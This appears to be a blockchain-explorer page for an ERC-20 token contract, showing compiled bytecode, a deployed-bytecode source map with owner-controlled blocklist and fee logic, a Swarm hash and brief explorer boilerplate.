57600281146111a7576111c3565b600191505061038e565b60ff8411156111b8576111b8611112565b50506001821b61038e565b5060208310610133831016604e8410600b84101617156111e6575081810a61038e565b6111f08383611128565b806000190482111561120457611204611112565b029392505050565b600061041860ff84168361116b565b808202811582820484141761038e5761038e611112565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b60006001820161128f5761128f611112565b5060010190565b8082018082111561038e5761038e611112565b8181038181111561038e5761038e611112565b6000826112d957634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e186e12706bce31f2d1e8b4033a1110962edd10bbcf83c93cacc66489980cb2d64736f6c63430008130033

Deployed Bytecode Sourcemap

3754:5673:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5227:83;;;;;;;;;;-1:-1:-1;5297:5:0;;;;;;;;;;;;-1:-1:-1;;;5297:5:0;;;;5227:83;;;;;;;:::i;:::-;;;;;;;;6060:161;;;;;;;;;;-1:-1:-1;6060:161:0;;;;;:::i;:::-;;:::i;:::-;;;1169:14:1;;1162:22;1144:41;;1132:2;1117:18;6060:161:0;1004:187:1;5504:95:0;;;;;;;;;;;;;:::i;:::-;;;1342:25:1;;;1330:2;1315:18;5504:95:0;1196:177:1;6229:313:0;;;;;;;;;;-1:-1:-1;6229:313:0;;;;;:::i;:::-;;:::i;5413:83::-;;;;;;;;;;-1:-1:-1;5413:83:0;;4274:1;1853:36:1;;1841:2;1826:18;5413:83:0;1711:184:1;8369:163:0;;;;;;;;;;-1:-1:-1;8369:163:0;;;;;:::i;:::-;;:::i;:::-;;8540:84;;;;;;;;;;-1:-1:-1;8540:84:0;;;;;:::i;:::-;-1:-1:-1;;;;;8608:8:0;8587:4;8608:8;;;:5;:8;;;;;;;;;8540:84;5607:119;;;;;;;;;;-1:-1:-1;5607:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;5700:18:0;5673:7;5700:18;;;:9;:18;;;;;;;5607:119;2835:148;;;;;;;;;;;;;:::i;8105:83::-;;;;;;;;;;;;;:::i;2621:79::-;;;;;;;;;;-1:-1:-1;2659:7:0;2686:6;2621:79;;-1:-1:-1;;;;;2686:6:0;;;3495:51:1;;3483:2;3468:18;2621:79:0;3349:203:1;4454:54:0;;;;;;;;;;;;;;;;5318:87;;;;;;;;;;-1:-1:-1;5390:7:0;;;;;;;;;;;;-1:-1:-1;;;5390:7:0;;;;5318:87;;5734:167;;;;;;;;;;-1:-1:-1;5734:167:0;;;;;:::i;:::-;;:::i;8196:165::-;;;;;;;;;;-1:-1:-1;8196:165:0;;;;;:::i;:::-;;:::i;5909:143::-;;;;;;;;;;-1:-1:-1;5909:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6017:18:0;;;5990:7;6017:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;5909:143;6060:161;6135:4;6152:39;418:10;6175:7;6184:6;6152:8;:39::i;:::-;-1:-1:-1;6209:4:0;6060:161;;;;;:::o;5504:95::-;5557:7;4328:13;4274:1;4328:2;:13;:::i;:::-;4317:24;;:8;:24;:::i;:::-;5577:14;;5504:95;:::o;6229:313::-;6327:4;6344:36;6354:6;6362:9;6373:6;6344:9;:36::i;:::-;6391:121;6400:6;418:10;6422:89;6460:6;6422:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6422:19:0;;;;;;:11;:19;;;;;;;;418:10;6422:33;;;;;;;;;;:37;:89::i;:::-;6391:8;:121::i;:::-;-1:-1:-1;6530:4:0;6229:313;;;;;;:::o;8369:163::-;2748:6;;-1:-1:-1;;;;;2748:6:0;418:10;2748:22;2740:67;;;;-1:-1:-1;;;2740:67:0;;;;;;;:::i;:::-;;;;;;;;;8442:6:::1;8437:88;8458:6;:13;8454:1;:17;8437:88;;;8510:5;8491;:16;8497:6;8504:1;8497:9;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;8491:16:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;8491:16:0;:24;;-1:-1:-1;;8491:24:0::1;::::0;::::1;;::::0;;;::::1;::::0;;8473:3;::::1;::::0;::::1;:::i;:::-;;;;8437:88;;;;8369:163:::0;:::o;2835:148::-;2748:6;;-1:-1:-1;;;;;2748:6:0;418:10;2748:22;2740:67;;;;-1:-1:-1;;;2740:67:0;;;;;;;:::i;:::-;2942:1:::1;2926:6:::0;;2905:40:::1;::::0;-1:-1:-1;;;;;2926:6:0;;::::1;::::0;2905:40:::1;::::0;2942:1;;2905:40:::1;2973:1;2956:19:::0;;-1:-1:-1;;;;;;2956:19:0::1;::::0;;2835:148::o;8105:83::-;2748:6;;-1:-1:-1;;;;;2748:6:0;418:10;2748:22;2740:67;;;;-1:-1:-1;;;2740:67:0;;;;;;;:::i;:::-;4328:13:::1;4274:1;4328:2;:13;:::i;:::-;4317:24;::::0;:8:::1;:24;:::i;:::-;8156:14;:24:::0;8105:83::o;5734:167::-;5812:4;5829:42;418:10;5853:9;5864:6;5829:9;:42::i;8196:165::-;2748:6;;-1:-1:-1;;;;;2748:6:0;418:10;2748:22;2740:67;;;;-1:-1:-1;;;2740:67:0;;;;;;;:::i;:::-;8270:6:::1;8265:89;8286:5;:12;8282:1;:16;8265:89;;;8338:4;8320:5;:15;8326:5;8332:1;8326:8;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;8320:15:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;8320:15:0;:22;;-1:-1:-1;;8320:22:0::1;::::0;::::1;;::::0;;;::::1;::::0;;8300:3;::::1;::::0;::::1;:::i;:::-;;;;8265:89;;6550:335:::0;-1:-1:-1;;;;;6643:19:0;;6635:68;;;;-1:-1:-1;;;6635:68:0;;6345:2:1;6635:68:0;;;6327:21:1;6384:2;6364:18;;;6357:30;6423:34;6403:18;;;6396:62;-1:-1:-1;;;6474:18:1;;;6467:34;6518:19;;6635:68:0;6143:400:1;6635:68:0;-1:-1:-1;;;;;6722:21:0;;6714:68;;;;-1:-1:-1;;;6714:68:0;;6750:2:1;6714:68:0;;;6732:21:1;6789:2;6769:18;;;6762:30;6828:34;6808:18;;;6801:62;-1:-1:-1;;;6879:18:1;;;6872:32;6921:19;;6714:68:0;6548:398:1;6714:68:0;-1:-1:-1;;;;;6793:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;6845:32;;1342:25:1;;;6845:32:0;;1315:18:1;6845:32:0;;;;;;;;6550:335;;;:::o;6893:1204::-;-1:-1:-1;;;;;6981:18:0;;6973:68;;;;-1:-1:-1;;;6973:68:0;;7153:2:1;6973:68:0;;;7135:21:1;7192:2;7172:18;;;7165:30;7231:34;7211:18;;;7204:62;-1:-1:-1;;;7282:18:1;;;7275:35;7327:19;;6973:68:0;6951:401:1;6973:68:0;-1:-1:-1;;;;;7060:16:0;;7052:64;;;;-1:-1:-1;;;7052:64:0;;7559:2:1;7052:64:0;;;7541:21:1;7598:2;7578:18;;;7571:30;7637:34;7617:18;;;7610:62;-1:-1:-1;;;7688:18:1;;;7681:33;7731:19;;7052:64:0;7357:399:1;7052:64:0;7144:1;7135:6;:10;7127:64;;;;-1:-1:-1;;;7127:64:0;;7963:2:1;7127:64:0;;;7945:21:1;8002:2;7982:18;;;7975:30;8041:34;8021:18;;;8014:62;-1:-1:-1;;;8092:18:1;;;8085:39;8141:19;;7127:64:0;7761:405:1;7127:64:0;2659:7;2686:6;-1:-1:-1;;;;;7216:15:0;;;2686:6;;7216:15;;;;:32;;-1:-1:-1;2659:7:0;2686:6;-1:-1:-1;;;;;7235:13:0;;;2686:6;;7235:13;;7216:32;7212:833;;;-1:-1:-1;;;;;7274:11:0;;;;;;:5;:11;;;;;;;;7273:12;:26;;;;-1:-1:-1;;;;;;7290:9:0;;;;;;:5;:9;;;;;;;;7289:10;7273:26;7265:35;;;;;;7323:13;;;-1:-1:-1;;;;;7323:13:0;;;7340:5;7315:22;;;:7;:22;;;;;:30;;-1:-1:-1;;7315:30:0;;;7371:13;;7363:21;;;7371:13;;7363:21;:47;;;;-1:-1:-1;;;;;;7388:22:0;;;;;;:18;:22;;;;;;;;7363:47;7360:109;;;7426:4;7433:5;7412:20;;;:5;:20;;;;;;;;:26;;-1:-1:-1;;7412:26:0;;;;;;7448:13;;-1:-1:-1;;;;;7448:13:0;7440:22;;:7;:22;;;;;;:27;;;;;7412:26;7440:27;;;7360:109;7493:13;;-1:-1:-1;;;;;7487:19:0;;;7493:13;;7487:19;;;;:46;;-1:-1:-1;;;;;;7511:22:0;;;;;;:18;:22;;;;;;;;7510:23;7487:46;:75;;;;-1:-1:-1;;;;;;7538:24:0;;;;;;:18;:24;;;;;;;;7537:25;7487:75;7483:187;;;7616:14;;7606:6;7590:13;7600:2;-1:-1:-1;;;;;5700:18:0;5673:7;5700:18;;;:9;:18;;;;;;;5607:119;7590:13;:22;;;;:::i;:::-;:40;;7582:72;;;;-1:-1:-1;;;7582:72:0;;8503:2:1;7582:72:0;;;8485:21:1;8542:2;8522:18;;;8515:30;-1:-1:-1;;;8561:18:1;;;8554:49;8620:18;;7582:72:0;8301:343:1;7582:72:0;7722:13;;7684:11;;-1:-1:-1;;;;;7722:13:0;;;7714:21;;;;7710:82;;-1:-1:-1;7748:4:0;7710:82;;;-1:-1:-1;7784:5:0;7710:82;7857:4;7843:20;;;;:5;:20;;;;;;;;;7873:13;;-1:-1:-1;;;;;7873:13:0;7865:22;;:7;:22;;;;;;;7806:82;;7817:4;;7823:2;;7827:6;;7835;;7843:20;;;;;7865:22;7806:10;:82::i;:::-;7250:650;7212:833;;;-1:-1:-1;;;;;7945:15:0;;;;;;:9;:15;;;;;;:27;;7965:6;7945:19;:27::i;:::-;-1:-1:-1;;;;;7929:15:0;;;;;;;:9;:15;;;;;;:43;;;;8001:13;;;;;;;;;:32;;8019:6;;8001:17;:32::i;:::-;-1:-1:-1;;;;;7987:13:0;;;;;;:9;:13;;;;;:46;7212:833;8075:2;-1:-1:-1;;;;;8060:26:0;8069:4;-1:-1:-1;;;;;8060:26:0;;8079:6;8060:26;;;;1342:25:1;;1330:2;1315:18;;1196:177;1497:190:0;1583:7;1619:12;1611:6;;;;1603:29;;;;-1:-1:-1;;;1603:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1643:9:0;1655:5;1659:1;1655;:5;:::i;:::-;1643:17;1497:190;-1:-1:-1;;;;;1497:190:0:o;8632:753::-;-1:-1:-1;;;;;8787:24:0;;8755:17;8787:24;;;:18;:24;;;;;;;;8786:25;:52;;;;-1:-1:-1;;;;;;8816:22:0;;;;;;:18;:22;;;;;;;;8815:23;8786:52;8783:288;;;8857:6;8854:206;;;8906:12;;8895:41;;8932:3;;8895:32;;:6;;-1:-1:-1;;;8906:12:0;;;;8920:6;8895:10;:32::i;:::-;:36;;:41::i;:::-;8883:53;;8854:206;;;9012:13;;9001:43;;9040:3;;9001:34;;:6;;-1:-1:-1;;;9012:13:0;;;;9027:7;9001:10;:34::i;:43::-;8989:55;;8854:206;9084:14;;9081:167;;9146:10;;-1:-1:-1;;;;;9146:10:0;9173:5;9136:21;;;:9;:21;;;;;;:43;;9162:9;;9136:25;:43::i;:::-;9124:10;;;-1:-1:-1;;;;;9124:10:0;;;9114:21;;;;:9;:21;;;;;;;;;:65;;;;9214:10;;9199:37;;1342:25:1;;;9214:10:0;;;;9199:37;;;;;;1315:18:1;9199:37:0;;;;;;;9081:167;-1:-1:-1;;;;;9274:15:0;;;;;;:9;:15;;;;;;:27;;9294:6;9274:19;:27::i;:::-;-1:-1:-1;;;;;9258:15:0;;;;;;:9;:15;;;;;:43;9326:51;9344:21;:6;9355:9;9344:10;:21::i;:::-;-1:-1:-1;;;;;9326:13:0;;;;;;:9;:13;;;;;;;9367:9;9326:17;:51::i;:::-;-1:-1:-1;;;;;9312:13:0;;;;;;;:9;:13;;;;;:65;;;;-1:-1:-1;;;;;;8632:753:0:o;1353:136::-;1411:7;1438:43;1442:1;1445;1438:43;;;;;;;;;;;;;;;;;:3;:43::i;1145:200::-;1211:7;1231:9;1243:1;:18;;1256:5;1260:1;1256;:5;:::i;:::-;1243:18;;;1247:6;1243:18;1231:30;;1285:1;1280;:6;;1272:46;;;;-1:-1:-1;;;1272:46:0;;8984:2:1;1272:46:0;;;8966:21:1;9023:2;9003:18;;;8996:30;9062:29;9042:18;;;9035:57;9109:18;;1272:46:0;8782:351:1;1272:46:0;1336:1;1145:200;-1:-1:-1;;;;1145:200:0:o;1695:262::-;1761:7;1785:1;1790;1785:6;1781:47;;-1:-1:-1;1815:1:0;1808:8;;1781:47;1838:9;1855:1;:7;;1859:3;1855:7;;;1857:1;1855:7;1850:13;;:1;:13;:::i;:::-;1838:25;-1:-1:-1;1891:1:0;1882:5;1886:1;1838:25;1882:5;:::i;:::-;:10;1874:56;;;;-1:-1:-1;;;1874:56:0;;9562:2:1;1874:56:0;;;9544:21:1;9601:2;9581:18;;;9574:30;9640:34;9620:18;;;9613:62;-1:-1:-1;;;9691:18:1;;;9684:31;9732:19;;1874:56:0;9360:397:1;1965:132:0;2023:7;2050:39;2054:1;2057;2050:39;;;;;;;;;;;;;;;;;2191:7;2226:12;2219:5;2211:28;;;;-1:-1:-1;;;2211:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2250:9:0;2262:5;2266:1;2262;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:173::-;635:20;;-1:-1:-1;;;;;684:31:1;;674:42;;664:70;;730:1;727;720:12;664:70;567:173;;;:::o;745:254::-;813:6;821;874:2;862:9;853:7;849:23;845:32;842:52;;;890:1;887;880:12;842:52;913:29;932:9;913:29;:::i;:::-;903:39;989:2;974:18;;;;961:32;;-1:-1:-1;;;745:254:1:o;1378:328::-;1455:6;1463;1471;1524:2;1512:9;1503:7;1499:23;1495:32;1492:52;;;1540:1;1537;1530:12;1492:52;1563:29;1582:9;1563:29;:::i;:::-;1553:39;;1611:38;1645:2;1634:9;1630:18;1611:38;:::i;:::-;1601:48;;1696:2;1685:9;1681:18;1668:32;1658:42;;1378:328;;;;;:::o;1900:127::-;1961:10;1956:3;1952:20;1949:1;1942:31;1992:4;1989:1;1982:15;2016:4;2013:1;2006:15;2032:1121;2116:6;2147:2;2190;2178:9;2169:7;2165:23;2161:32;2158:52;;;2206:1;2203;2196:12;2158:52;2246:9;2233:23;2275:18;2316:2;2308:6;2305:14;2302:34;;;2332:1;2329;2322:12;2302:34;2370:6;2359:9;2355:22;2345:32;;2415:7;2408:4;2404:2;2400:13;2396:27;2386:55;;2437:1;2434;2427:12;2386:55;2473:2;2460:16;2495:2;2491;2488:10;2485:36;;;2501:18;;:::i;:::-;2547:2;2544:1;2540:10;2579:2;2573:9;2642:2;2638:7;2633:2;2629;2625:11;2621:25;2613:6;2609:38;2697:6;2685:10;2682:22;2677:2;2665:10;2662:18;2659:46;2656:72;;;2708:18;;:::i;:::-;2744:2;2737:22;2794:18;;;2828:15;;;;-1:-1:-1;2870:11:1;;;2866:20;;;2898:19;;;2895:39;;;2930:1;2927;2920:12;2895:39;2954:11;;;;2974:148;2990:6;2985:3;2982:15;2974:148;;;3056:23;3075:3;3056:23;:::i;:::-;3044:36;;3007:12;;;;3100;;;;2974:148;;;3141:6;2032:1121;-1:-1:-1;;;;;;;;2032:1121:1:o;3158:186::-;3217:6;3270:2;3258:9;3249:7;3245:23;3241:32;3238:52;;;3286:1;3283;3276:12;3238:52;3309:29;3328:9;3309:29;:::i;3557:260::-;3625:6;3633;3686:2;3674:9;3665:7;3661:23;3657:32;3654:52;;;3702:1;3699;3692:12;3654:52;3725:29;3744:9;3725:29;:::i;:::-;3715:39;;3773:38;3807:2;3796:9;3792:18;3773:38;:::i;:::-;3763:48;;3557:260;;;;;:::o;3822:127::-;3883:10;3878:3;3874:20;3871:1;3864:31;3914:4;3911:1;3904:15;3938:4;3935:1;3928:15;3954:422;4043:1;4086:5;4043:1;4100:270;4121:7;4111:8;4108:21;4100:270;;;4180:4;4176:1;4172:6;4168:17;4162:4;4159:27;4156:53;;;4189:18;;:::i;:::-;4239:7;4229:8;4225:22;4222:55;;;4259:16;;;;4222:55;4338:22;;;;4298:15;;;;4100:270;;;4104:3;3954:422;;;;;:::o;4381:806::-;4430:5;4460:8;4450:80;;-1:-1:-1;4501:1:1;4515:5;;4450:80;4549:4;4539:76;;-1:-1:-1;4586:1:1;4600:5;;4539:76;4631:4;4649:1;4644:59;;;;4717:1;4712:130;;;;4624:218;;4644:59;4674:1;4665:10;;4688:5;;;4712:130;4749:3;4739:8;4736:17;4733:43;;;4756:18;;:::i;:::-;-1:-1:-1;;4812:1:1;4798:16;;4827:5;;4624:218;;4926:2;4916:8;4913:16;4907:3;4901:4;4898:13;4894:36;4888:2;4878:8;4875:16;4870:2;4864:4;4861:12;4857:35;4854:77;4851:159;;;-1:-1:-1;4963:19:1;;;4995:5;;4851:159;5042:34;5067:8;5061:4;5042:34;:::i;:::-;5112:6;5108:1;5104:6;5100:19;5091:7;5088:32;5085:58;;;5123:18;;:::i;:::-;5161:20;;4381:806;-1:-1:-1;;;4381:806:1:o;5192:140::-;5250:5;5279:47;5320:4;5310:8;5306:19;5300:4;5279:47;:::i;5337:168::-;5410:9;;;5441;;5458:15;;;5452:22;;5438:37;5428:71;;5479:18;;:::i;5510:356::-;5712:2;5694:21;;;5731:18;;;5724:30;5790:34;5785:2;5770:18;;5763:62;5857:2;5842:18;;5510:356::o;5871:127::-;5932:10;5927:3;5923:20;5920:1;5913:31;5963:4;5960:1;5953:15;5987:4;5984:1;5977:15;6003:135;6042:3;6063:17;;;6060:43;;6083:18;;:::i;:::-;-1:-1:-1;6130:1:1;6119:13;;6003:135::o;8171:125::-;8236:9;;;8257:10;;;8254:36;;;8270:18;;:::i;8649:128::-;8716:9;;;8737:11;;;8734:37;;;8751:18;;:::i;9138:217::-;9178:1;9204;9194:132;;9248:10;9243:3;9239:20;9236:1;9229:31;9283:4;9280:1;9273:15;9311:4;9308:1;9301:15;9194:132;-1:-1:-1;9340:9:1;;9138:217::o

Swarm Source

ipfs://e186e12706bce31f2d1e8b4033a1110962edd10bbcf83c93cacc66489980cb2d
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.